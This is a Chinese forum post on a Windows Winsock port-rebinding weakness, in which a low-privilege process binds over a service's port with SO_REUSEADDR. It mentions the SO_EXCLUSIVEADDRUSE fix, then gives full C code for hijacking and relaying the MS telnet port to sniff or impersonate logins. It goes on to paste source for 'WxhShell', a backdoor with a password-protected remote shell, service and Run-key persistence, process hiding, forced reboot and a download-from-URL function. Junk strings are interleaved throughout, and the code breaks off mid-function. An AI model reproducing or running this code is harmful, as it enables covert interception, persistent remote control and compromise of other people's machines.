社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14404阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WbDD9ZS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )Qx&m}  
Fg -4u&Ik  
  saddr.sin_family = AF_INET; a]8}zSUK  
{1]/ok2k5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T^n0=|  
ctWH?b/ua  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x\2N @*I:  
Hy0l"CA*|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V( bU=;Qo  
 R7-+@  
  这意味着什么?意味着可以进行如下的攻击: ejI nJ  
O^yD b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }wR&0<HA  
6I,4 6 XZ-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^Q""N<  
BA cnFO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3 tIno!|  
b~<Tgo_/jf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2%zJI"Ic  
2v9T&xo=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cp g+-Zf%  
+^v]d_~w_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H@!kgaNF  
o 9]2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &[iunJv:eq  
8ECBi(  
  #include 8WvQ[cd  
  #include v05B7^1@_  
  #include 5/"&C-t  
  #include    cl3Dwrf?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -McDNM  
  int main() j[y,Jc h  
  { z Qhc V  
  WORD wVersionRequested; h`:f  
  DWORD ret; I&Y9  
  WSADATA wsaData; li Hz5<|  
  BOOL val; [j^c&}0  
  SOCKADDR_IN saddr; 5u3SP?.&  
  SOCKADDR_IN scaddr; {u,yX@F4l  
  int err; Zn9ecN  
  SOCKET s; T)"LuC#C  
  SOCKET sc; mbh;oX+  
  int caddsize; o$,Dh?l  
  HANDLE mt; <fm0B3i?  
  DWORD tid;   ]iL>Zxex  
  wVersionRequested = MAKEWORD( 2, 2 ); *dE5yS`H  
  err = WSAStartup( wVersionRequested, &wsaData ); :UdH}u!Ek  
  if ( err != 0 ) { YoEL|r|  
  printf("error!WSAStartup failed!\n"); L-\o zp  
  return -1; 1ZK~i  
  } sLh %k  
  saddr.sin_family = AF_INET; C].w)B  
   n:d7 Tv1Z8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a'm\6AW2)  
]t|-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xIh,UW#  
  saddr.sin_port = htons(23); T nG=X:+=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KeiPo KhZi  
  { :VEy\ R>W  
  printf("error!socket failed!\n"); xp<p(y8e1d  
  return -1; ;$= GrR  
  } 2%F!aeX  
  val = TRUE; N)H _4L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t9yjfyk9W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iAAlld1  
  { s.oh6wz  
  printf("error!setsockopt failed!\n"); d|c> Y(  
  return -1;  @rT}V>2I  
  } +GqV9x 8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $NG|z0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oykqCN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 37M?m$BL  
jJfV_#'N'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g9F4nExo  
  { V\(p6:1(6K  
  ret=GetLastError(); XdR^,;pWE  
  printf("error!bind failed!\n"); [C TR8  
  return -1; V;}6C&aP.  
  } KKLW-V\6K  
  listen(s,2); .oR_r1\y  
  while(1) `LID*uD;_  
  { DoYzTSWx  
  caddsize = sizeof(scaddr); [)&(zJHX  
  //接受连接请求 > l@ o\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wK[Xm'QTPJ  
  if(sc!=INVALID_SOCKET) U;Ne"Jh  
  { Q:4euhz*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q|`sYm'.  
  if(mt==NULL) }1/`<m  
  { ,9:0T LLR  
  printf("Thread Creat Failed!\n"); KASw3!.W  
  break; PN&;3z Z  
  } yj+HU5L4  
  } (GNY::3  
  CloseHandle(mt); )]?"H  
  } |{8eoF  
  closesocket(s); (VxWa#P  
  WSACleanup(); 7Vd"AVn}g  
  return 0; *`HE$k!  
  }   "7T9d)  
  DWORD WINAPI ClientThread(LPVOID lpParam) TT0~41&l  
  { 1-=zSWmyK  
  SOCKET ss = (SOCKET)lpParam; edW:(19}  
  SOCKET sc; Z} 8 m]I  
  unsigned char buf[4096]; <RMrp@[  
  SOCKADDR_IN saddr; 5yhfCe m|  
  long num;  h'_@  
  DWORD val; ?H.7 WtTC  
  DWORD ret; cI Byv I-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l$s8O0-'T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'n)]"G|  
  saddr.sin_family = AF_INET; Apfs&{Uy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Qs^Rh F\d  
  saddr.sin_port = htons(23); X!w&ib-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wv eej@zs  
  { 32N *E,  
  printf("error!socket failed!\n"); GGY WvGE+  
  return -1; *A,h ^  
  } nd 5w|83  
  val = 100;  !AGjiP$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E2D}F@<]  
  { {U,q!<@mq  
  ret = GetLastError(); 5l&9BS&  
  return -1; 4X5Tyv(Dp  
  } EZ.|6oug\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y_=},a  
  { 6tBh`nYB=  
  ret = GetLastError(); MJ )aY2  
  return -1; u{-J?t&`  
  } Ak\w)!?s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]qLro<  
  { ua^gG3n0  
  printf("error!socket connect failed!\n"); {'QA0K  
  closesocket(sc); #z*-  
  closesocket(ss); Z\`i~  
  return -1; lR9~LNK?  
  } abVz/R/o  
  while(1) Y`x54_32  
  { 9? #pqw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jo-qP4w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v$H]=y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^,$>z*WQ.  
  num = recv(ss,buf,4096,0); 7|"gMw/  
  if(num>0) f0^DsP  
  send(sc,buf,num,0); G%V*+Ond  
  else if(num==0) uH6QK\  
  break; BpGK`0H  
  num = recv(sc,buf,4096,0); UqP %S$9  
  if(num>0) % e@Jc 3  
  send(ss,buf,num,0); d4h, +OU  
  else if(num==0) -<'&"-  
  break; m),3J4(q  
  } BAq@H8*B  
  closesocket(ss); 3+%c*}KC~  
  closesocket(sc); "2}E ARa  
  return 0 ; RK*ZlD<  
  } dh~+0FZ{A  
tWNz:V  
!]W}I  
========================================================== 5jpb`Axj#  
f/r@9\x  
下边附上一个代码,,WXhSHELL <Q4yN!6  
-qPYm?$  
========================================================== d@:4se-q+  
azj:Hru&t#  
#include "stdafx.h" jH1!'1s|  
c&+p{hH+  
#include <stdio.h> X\I"%6$  
#include <string.h> QzwA*\G  
#include <windows.h> ~olta\|  
#include <winsock2.h> <V}^c/c!  
#include <winsvc.h> em87`Hj^lo  
#include <urlmon.h> *uLlf'qU]  
i_? S#L]h  
#pragma comment (lib, "Ws2_32.lib") (5SN=6O  
#pragma comment (lib, "urlmon.lib") G|Du/XYh  
*o/ Q#  
#define MAX_USER   100 // 最大客户端连接数 CywQ  
#define BUF_SOCK   200 // sock buffer 6NO_S  
#define KEY_BUFF   255 // 输入 buffer Zz\e:/  
DL^}?Ve  
#define REBOOT     0   // 重启 6o_t;cpT  
#define SHUTDOWN   1   // 关机 ]"3(UKx  
@bN`+DC!<  
#define DEF_PORT   5000 // 监听端口 PF,|Wzx  
fNVNx~E  
#define REG_LEN     16   // 注册表键长度 O6LuFT .  
#define SVC_LEN     80   // NT服务名长度 D3^Yc:[_@  
f?iQ0wv)  
// 从dll定义API | %Dh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;OlC^\e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !,#42TY*X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t\hvhcbL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \X=?+| 9  
p+O 2 :  
// wxhshell配置信息 6wzTX8  
struct WSCFG { X]?qns7  
  int ws_port;         // 监听端口 !,mv 7Yj  
  char ws_passstr[REG_LEN]; // 口令  1k5o?'3&  
  int ws_autoins;       // 安装标记, 1=yes 0=no u0;FQr2  
  char ws_regname[REG_LEN]; // 注册表键名  xZ*.@Pkr  
  char ws_svcname[REG_LEN]; // 服务名 7R 40t3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ( aGwe@AS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1!@KRV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zd/ACZ[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cG|ihG5)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8+Y+\XZG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .[v4'ww^  
,8KD-"l^g  
}; 'V reO52  
H!y%FaTi  
// default Wxhshell configuration zCdQI  
struct WSCFG wscfg={DEF_PORT, DK/xHIv8-  
    "xuhuanlingzhe", +H[G D!  
    1, Nw`}iR0i  
    "Wxhshell", cxhS*"Ph  
    "Wxhshell", oC]|ARgQk|  
            "WxhShell Service", 7|A9  
    "Wrsky Windows CmdShell Service", FK MuRy|  
    "Please Input Your Password: ", PYldqY   
  1, E6iUa'  
  "http://www.wrsky.com/wxhshell.exe", Rh7unJ  
  "Wxhshell.exe" MPINxS  
    }; ncEOz1u  
{L[n\h.4.  
// 消息定义模块 ;%r#p v~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QRs!B!Fn0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jP{LMmV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C3Mr)  
char *msg_ws_ext="\n\rExit."; DwXzmp[qWH  
char *msg_ws_end="\n\rQuit."; $z-zscco  
char *msg_ws_boot="\n\rReboot..."; r-#23iT.~  
char *msg_ws_poff="\n\rShutdown..."; #`tn:cP  
char *msg_ws_down="\n\rSave to "; rrGsam\.  
V9:h4]  
char *msg_ws_err="\n\rErr!"; DP=4<ES%+  
char *msg_ws_ok="\n\rOK!"; n3, ?klK  
D2$"!7O1H  
char ExeFile[MAX_PATH]; 'Ldlo+*|5  
int nUser = 0; 8~QEJW$  
HANDLE handles[MAX_USER]; #P,mZ}G\  
int OsIsNt; *R17 KMS  
IS; F9{  
SERVICE_STATUS       serviceStatus; [KIK}:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _y Q*  
Pdc- 3  
// 函数声明 p?OwcMT]M  
int Install(void); nwlo,[  
int Uninstall(void); Y[=Gv6Fr  
int DownloadFile(char *sURL, SOCKET wsh); S/j~1q_|G  
int Boot(int flag); Jsi [,|G  
void HideProc(void); uf;^yQi  
int GetOsVer(void); ,nqG* o  
int Wxhshell(SOCKET wsl); RW!D! ~  
void TalkWithClient(void *cs); n>F1G MX  
int CmdShell(SOCKET sock); R v6 1*F4  
int StartFromService(void); YYFJJ,7?  
int StartWxhshell(LPSTR lpCmdLine); ;m{*iKL6{  
`nA_WS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @\ip?=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U[\aj;g)  
YKwej@9,  
// 数据结构和表定义 J]8nbl  
SERVICE_TABLE_ENTRY DispatchTable[] = FL 5u68  
{ -Dw qoWZ  
{wscfg.ws_svcname, NTServiceMain}, vpOn0([hS  
{NULL, NULL} 4&IBNc,sn  
}; j_PICv*6  
L1"y5HJ  
// 自我安装 k;v2 3  
int Install(void) | fAt[e_E  
{ 4e d+'-"m  
  char svExeFile[MAX_PATH]; %C*oy$.  
  HKEY key; q^],K'  
  strcpy(svExeFile,ExeFile); j[ !'l,I  
kN9pl^2  
// 如果是win9x系统,修改注册表设为自启动 wy5vn?T@  
if(!OsIsNt) { t.m65  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OHeVm-VC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * iW>i^  
  RegCloseKey(key); zR2'xE*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cDMA#gp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "(/ 1]EH`  
  RegCloseKey(key); (,eH*/~/  
  return 0; mjbr}9  
    } \HFeEEKH  
  } g+gHIb7{  
} Uv,_VS(  
else { D'e'xU  
CLI!(8ZW  
// 如果是NT以上系统,安装为系统服务 vS %r_gf(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;L.@4b[lP  
if (schSCManager!=0) *h Ph01  
{ &) 7umdSgi  
  SC_HANDLE schService = CreateService iJ_FJ[ U  
  ( wXf_2qB9  
  schSCManager, is`Eqcj`dr  
  wscfg.ws_svcname, iQpKcBx  
  wscfg.ws_svcdisp, dxlaoyv:  
  SERVICE_ALL_ACCESS, E 5PefD\m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L- [<C/`;t  
  SERVICE_AUTO_START, ^y"Rdv  
  SERVICE_ERROR_NORMAL, (l : ;p&[  
  svExeFile, _|.q?;C]$  
  NULL, >IO}}USm  
  NULL, ;wCp j9hir  
  NULL, q: . URl  
  NULL, E!J;bX5  
  NULL H XF5fs  
  ); "FI]l<G&  
  if (schService!=0) GkjTE2I3  
  { v|~ yIywf  
  CloseServiceHandle(schService); SEQ bw](ss  
  CloseServiceHandle(schSCManager); {q%&~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QSf{V(fs  
  strcat(svExeFile,wscfg.ws_svcname); I3o6ym-i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S/pTFlptCa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;3NA,JA#Y  
  RegCloseKey(key); )|f!}( p  
  return 0; P X ?!R4S  
    } 0hK)/!Y  
  } %76N$`{u  
  CloseServiceHandle(schSCManager); n\ aG@X%oq  
} ; 1K[N0xE  
} 'bj$ZM9  
ZiodJ"r  
return 1; *,!6#Z7  
} p;Kw$fQ?  
:~BY[")  
// 自我卸载 X.V7od>  
int Uninstall(void) G&MI@Hq  
{ E`.dU<8HE  
  HKEY key; Hw[u Sv8  
U}(*}Ut  
if(!OsIsNt) { 8)3g!3S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g83]/s+  
  RegDeleteValue(key,wscfg.ws_regname); lCg'K(|"  
  RegCloseKey(key); e"P>b? OY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xS]=WO*  
  RegDeleteValue(key,wscfg.ws_regname); aLTC#c%U  
  RegCloseKey(key); W>0 36  
  return 0; c*ac9Y'o  
  } G (Fi  
} %c)^8k;I  
} k_.%(ZE  
else { " cx\P,<  
k8w }2Vw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PO5/j  
if (schSCManager!=0) <m"Zk k  
{ mu0ER 3o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IBr?6_\%"4  
  if (schService!=0) /qA\|'~  
  { <)+9PV<w  
  if(DeleteService(schService)!=0) { D_@WB.e L  
  CloseServiceHandle(schService); AjB-&Z  
  CloseServiceHandle(schSCManager); -4{sr| lm  
  return 0; o7E?A  
  } dM8`!~#&PI  
  CloseServiceHandle(schService); a=\r~Z7E  
  } OF*m 9  
  CloseServiceHandle(schSCManager); !},_,J~(|  
} 0|n1O)>J  
} 0dA'f0Uy\X  
7 7"'?  
return 1; 5O<7<O B  
} E\&~S+:Xp  
gq4le=,v  
// 从指定url下载文件 /<)A!Nn+F  
int DownloadFile(char *sURL, SOCKET wsh) vL(7|K  
{ Gb.r!W8  
  HRESULT hr; Va>~7  
char seps[]= "/"; _oxhS!.*  
char *token; 6hQ?MYX  
char *file; <rV3(qb#]J  
char myURL[MAX_PATH]; 3G|n`dj  
char myFILE[MAX_PATH]; pq$`T|6^  
vK z/-9im  
strcpy(myURL,sURL); +gh6eY8  
  token=strtok(myURL,seps);  chW 1UE  
  while(token!=NULL) y`!~JL*  
  { 8V@ /h6-e,  
    file=token; {H{u[XR[z  
  token=strtok(NULL,seps); nE#p Ry]  
  } gnF]m0LR  
.^0@^%Wi  
GetCurrentDirectory(MAX_PATH,myFILE);  Ew1> m'  
strcat(myFILE, "\\"); <m:8%]%M6  
strcat(myFILE, file); ?bu-6pkx]  
  send(wsh,myFILE,strlen(myFILE),0); d-w#\ ^  
send(wsh,"...",3,0); +]P? ?`,R;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1>bG]l1//  
  if(hr==S_OK) F1%-IBe  
return 0; \zCT""'i  
else =n|n%N4Y  
return 1; /9<zG}:B  
C5GO?X2  
} ;:NW  
`b 6j7  
// 系统电源模块 ,,vl+Z <&  
int Boot(int flag) YNV4w{>FD  
{ qV2aa9p+  
  HANDLE hToken; B*#lkMr  
  TOKEN_PRIVILEGES tkp; t=\y|Idc  
daS l.:1  
  if(OsIsNt) { $ \0)~cy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y}BT| "  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ib8@U}Vn1  
    tkp.PrivilegeCount = 1; <hazrKUn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %7WGodlXW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *^+8_%;1  
if(flag==REBOOT) { qELy'\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k_$:?$  
  return 0; ^F/gJ3_;  
} `) s]T.-  
else { fH[Yc>(oj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^y"5pf SR  
  return 0; @%mJw u  
} YD1 :m3l!  
  } X,dOF=OJL  
  else { iX,| ;J|]  
if(flag==REBOOT) { v.Wkz9 w}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) seO7/h_a  
  return 0; KLi&T mIB  
} YJi C}.4Q  
else { >.^/Z/[.L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H0tj Bnu   
  return 0; ~kM# lh7At  
} J_) .Hd  
} d 2f   
F"o K*s  
return 1; I\eM8`Y$  
} 2 )oT\m  
Kppi N+||  
// win9x进程隐藏模块 $<&N#  
void HideProc(void) 3gN#[P  
{ P:,@2el  
^p3"_;p)h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GSck^o2{  
  if ( hKernel != NULL ) ^i>Tm9vM  
  { $e>(M&9,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d'Cn] <  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iupuhq$ ]  
    FreeLibrary(hKernel); >p"ytRu^  
  } }U-h^x'  
Z_^i2eJYT  
return; K]5@bm  
} i#c1 ZC  
rt-^?2c?  
// 获取操作系统版本 mOm_a9M L  
int GetOsVer(void) ro:B[XE  
{ M@\A_x(Mas  
  OSVERSIONINFO winfo; ?Ybgzb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x,)|;HXm  
  GetVersionEx(&winfo); )nncCU W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rs*]I\  
  return 1; (.Q.S[<Y  
  else aPD4S&"Q  
  return 0; |T!ivd1G  
} X; [$yW9hE  
5cY([4,  
// 客户端句柄模块 n."vCP}O+  
int Wxhshell(SOCKET wsl) iKs @oHW  
{ KY}c}*0  
  SOCKET wsh; @K{1O|V  
  struct sockaddr_in client; %#5yC|o9Pn  
  DWORD myID; (t$jb |Oa  
3-^z<*  
  while(nUser<MAX_USER) xLID @9Hbu  
{ \v|nRn,`-  
  int nSize=sizeof(client); 2/[J<c\G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f,S,35`qa  
  if(wsh==INVALID_SOCKET) return 1; <:(p nw*L  
0^?:Zds  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U7GgGMw  
if(handles[nUser]==0) X9ua&T2(l  
  closesocket(wsh); `cu W^/c  
else %9 kOl  
  nUser++; t}$WP&XRG<  
  } oll J#i9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O{YT6&.S0  
njhDrwN  
  return 0; O}$@|w(8;  
} V5ve  
ST'eJ5P7!5  
// 关闭 socket b@6hGiqx  
void CloseIt(SOCKET wsh) T'W)RYnwl  
{ ,0j7qn@tm  
closesocket(wsh); =rH' \7T  
nUser--; dXwfOC\\  
ExitThread(0); X*4iNyIs_  
} z`)i"O]-K_  
,# i@jB  
// 客户端请求句柄 e u{  
void TalkWithClient(void *cs) M`_RkDmy<  
{ Tf0"9  
H rMH  
  SOCKET wsh=(SOCKET)cs; Gcu[G]D  
  char pwd[SVC_LEN]; }bkQr)us  
  char cmd[KEY_BUFF]; Vp"=8p#k  
char chr[1]; \L6kCY  
int i,j; "e)C.#3  
h`{agW B  
  while (nUser < MAX_USER) { [9}D+k F  
>d/DXv 3  
if(wscfg.ws_passstr) { aHhr_.>X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); & B CA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kMJf!%L(  
  //ZeroMemory(pwd,KEY_BUFF); ,Z_aZD4  
      i=0; YB;q5[  
  while(i<SVC_LEN) { ?o0ro?9j  
$_ &Lp\  
  // 设置超时 *?l-:bc]  
  fd_set FdRead; $C&y-Hnar  
  struct timeval TimeOut; H]zi>;D  
  FD_ZERO(&FdRead); 6R`q{}.  
  FD_SET(wsh,&FdRead); DL*/hbG  
  TimeOut.tv_sec=8; S9cAw5E(yN  
  TimeOut.tv_usec=0; )iKV"jsC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |+-D@22 y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *O5Ysk^|  
|{STkV]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oSAO0h>0N  
  pwd=chr[0]; @ OSSqH  
  if(chr[0]==0xd || chr[0]==0xa) { wWh)yfPh8H  
  pwd=0; qwf97pg$  
  break; PM(M c]6  
  } H!H&<71-  
  i++; 4y: pj7h  
    } L4Nn:9b  
"W"2 Y(  
  // 如果是非法用户,关闭 socket \ytF@"7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F\K&$5J{p  
} !@.9>"FU  
5*~]=(BE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cN{(XmX5n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )(4.7>  
E((U=P}+g  
while(1) { goJK~d8M*  
Xc>M_%+ R  
  ZeroMemory(cmd,KEY_BUFF); VuU{7:  
ulA||  
      // 自动支持客户端 telnet标准   3?n2/p 7=  
  j=0; AlVB hR`  
  while(j<KEY_BUFF) { @N(*1,s2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NQ9/,M  
  cmd[j]=chr[0]; [9-&Lq_ g  
  if(chr[0]==0xa || chr[0]==0xd) { M15jwR!:M  
  cmd[j]=0; ^9jrI  
  break; neLQ>WT L  
  } ^KlW"2:  
  j++; NKyKsu  
    } "ZHA.M]`  
l- mt{2  
  // 下载文件 o@5zf{-  
  if(strstr(cmd,"http://")) { btG+Ak+K*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #?3oGrS Y  
  if(DownloadFile(cmd,wsh)) ]cKxYX)J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '{-7%>`bn  
  else o*r 2T4 8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "/#=8_f  
  } .)Wqo7/Gx  
  else { .%x1%TN  
0]~'}  
    switch(cmd[0]) { 3hD\6,@  
  9w"kxAN  
  // 帮助  mS]&  
  case '?': { u]<_6;_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +[lv `tr  
    break; uE;bNs'  
  } o<\u Hr3  
  // 安装 ua8Burl7  
  case 'i': { )%(V.?eW  
    if(Install()) t ;-U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X<8   
    else O8mmS!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O]1aez[  
    break; -Uj3?W  
    } \46 'j.  
  // 卸载 [S:{$4&  
  case 'r': { ^C|N  
    if(Uninstall()) @dHQ}Ni  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Jum(1Bo  
    else >"/Sa_w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -~rZ| W~v  
    break; 5 A2u|UU  
    } !5VT[w 1  
  // 显示 wxhshell 所在路径 IE0hC\C}  
  case 'p': { ~\yk{1S  
    char svExeFile[MAX_PATH]; vIQu"J&fE  
    strcpy(svExeFile,"\n\r"); )wb&kug -  
      strcat(svExeFile,ExeFile); <l`xP)] X  
        send(wsh,svExeFile,strlen(svExeFile),0); voitdz  
    break; L"(k;Mfe  
    } {kdS t1  
  // 重启 AEw~LF2w  
  case 'b': { T4e-QEH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IwZe2$f  
    if(Boot(REBOOT)) I%b}qC"5M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6E))4 lW  
    else { 6qF9+r&e ?  
    closesocket(wsh); '<!T'l:R:/  
    ExitThread(0); ?H0"*8C?Y  
